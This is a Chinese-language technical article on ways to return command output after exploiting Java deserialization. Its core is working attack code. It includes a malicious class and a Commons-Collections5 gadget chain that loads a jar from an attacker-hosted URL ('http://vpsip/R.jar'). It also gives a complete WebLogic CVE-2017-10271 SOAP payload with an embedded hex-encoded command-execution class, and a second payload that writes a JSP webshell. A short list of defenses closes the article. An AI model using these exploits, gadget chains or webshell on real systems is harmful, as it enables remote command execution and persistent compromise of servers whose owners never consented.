java反序列化RCE回显研究
字数 1440 2025-08-26 22:11:51
Java反序列化RCE回显技术研究
一、概述
Java反序列化漏洞利用后,如何获取命令执行结果是一个关键问题。本文详细总结了四种常见的回显技术实现方式,包括远程加载恶意类、defineClass加载字节码、RMI远程调用以及文件写入方式。
二、URLClassLoader加载远程恶意类回显
1. 基本原理
利用java.net.URLClassLoader远程加载自定义类(放在服务器上的jar包),通过抛出异常的方式获取命令执行结果。
2. 实现步骤
2.1 创建恶意类
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;
public class R {
public R(String commond) throws Exception {
reverseConn(commond);
}
public void reverseConn(String commond) throws Exception {
// 执行命令
Process proc = Runtime.getRuntime().exec(commond);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e = new Exception(result);
throw e;
}
}
2.2 编译打包恶意类
javac R.java # 先编译成class文件
jar -cvf R.jar R.class # 打成jar包
2.3 触发反序列化
使用Commons-Collections5 gadgets触发反序列化报错回显:
package test;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class Test {
public InvocationHandler getObject(final String command) throws Exception {
// 构造Transformer链
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// 实际的Transformer链
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://vpsip/R.jar")}}}),
new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"R"}),
new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{command}}),
new ConstantTransformer(1)
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 生成AnnotationInvocationHandler
InvocationHandler invo = (InvocationHandler)getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
// 生成代理对象
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Map.class}, invo));
final InvocationHandler handler = (InvocationHandler)getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
// 辅助方法省略...
}
3. 适用场景
- 服务器可以连接外网
- 目标应用会将异常信息返回给客户端
4. 变种方案
如果服务器不能连接外网,可以通过FileOutputStream写恶意类的class字节码文件到服务器上,再通过URLClassLoader加载本地的恶意类。
三、defineClass加载字节码回显
1. 基本原理
利用defineClass加载byte[]返回Class对象,结合容器内部response实现回显。
2. WebLogic CVE-2017-10271回显实现
2.1 POC结构
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="weblogic.utils.Hex" method="fromHexString" id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b6000699000503</string>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<object idref="cls"></object>
<void method="newInstance">
<void method="say" id="proc">
<string>dir</string>
</void>
</void>
</void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object idref="proc"></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2.2 恶意类还原
恶意类XmlExp的Hex编码还原后:
package com.supeream.exploits;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class XmlExp {
public XmlExp() {
}
public InputStream say(String cmd) throws Exception {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
List<String> cmds = new ArrayList();
if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
} else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
return proc.getInputStream();
}
}
2.3 实现原理
- 传入恶意类hex编码,通过
weblogic.utils.Hex.fromHexString转换为byte[] - 使用
org.mozilla.classfile.DefiningClassLoader的defineClass方法加载恶意类 - 通过
newInstance方法实例化恶意类并调用say方法执行命令 - 将结果交给WebLogic内部回显类进行回显
3. 技术要点
- 利用WebLogic内部类实现回显,而非传统的报错回显
- 需要了解目标容器的内部实现机制
四、RMI远程调用回显
1. 基本原理
通过RMI远程调用扩展实现回显,利用RMI协议将执行结果返回到攻击者控制的服务器。
2. 实现要点
- 搭建RMI服务器
- 构造恶意序列化数据,触发反序列化后连接RMI服务器
- 将命令执行结果通过RMI调用返回
五、文件写入方式回显
1. 基本原理
将命令执行结果写入服务器可访问的文件中,然后通过HTTP请求获取文件内容。
2. WebLogic CVE-2017-10271实现
利用漏洞直接向服务器写入webshell:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.io.PrintWriter">
<string>/path/to/shell.jsp</string>
<void method="println">
<string><% Runtime.getRuntime().exec(request.getParameter("cmd")); %></string>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3. 技术要点
- 需要知道服务器可写目录
- 需要能够访问写入的文件
- 适用于无法直接回显但可以写入文件的场景
六、总结对比
| 回显方式 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| URLClassLoader+异常 | 可出网,显示异常 | 实现简单 | 依赖异常显示 |
| defineClass+容器回显 | 特定容器 | 不依赖异常 | 需要了解容器实现 |
| RMI回显 | 可出网 | 稳定可靠 | 需要搭建RMI服务 |
| 文件写入 | 无回显 | 适用于严格环境 | 需要文件写入权限 |
七、防御建议
- 及时更新Java组件,修复已知反序列化漏洞
- 限制不必要的Java反序列化操作
- 使用安全管理器限制敏感操作
- 监控异常的反序列化行为
- 对输入数据进行严格校验和过滤